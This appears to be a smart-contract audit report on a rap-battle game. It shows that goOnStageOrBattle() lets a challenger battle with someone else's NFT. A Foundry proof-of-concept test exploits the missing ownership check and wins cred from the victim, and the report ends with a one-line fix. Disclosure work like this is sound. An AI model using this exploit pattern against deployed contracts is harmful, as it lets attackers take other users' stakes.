Summary
can use other people's nft to participate in rapBattle
Vulnerability Details
goOnStageOrBattle() function does not check whether the challenger's nft is his own, causing the challenger to use other people's nft to initiate a challenge
poc
function testUseAnotherNftAttack() external {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(4 days + 1);
vm.prank(user);
streets.unstake(0);
assertEq(cred.balanceOf(user), 4);
vm.prank(challenger);
streets.unstake(1);
assertEq(cred.balanceOf(challenger), 4);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
vm.startPrank(challenger);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
console.log("user cred balance:", cred.balanceOf(user));
console.log("challenger cred balance:", cred.balanceOf(challenger));
}
result:
[PASS] testUseAnotherNftAttack() (gas: 618304)
Logs:
user cred balance: 3
challenger cred balance: 5
Impact
can use other people's nft to participate in rapBattle
Tools Used
foundry
Recommendations
Add require to check the owner of nft
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
++ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "not the token owner");
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
_battle(_tokenId, _credBet);
}
}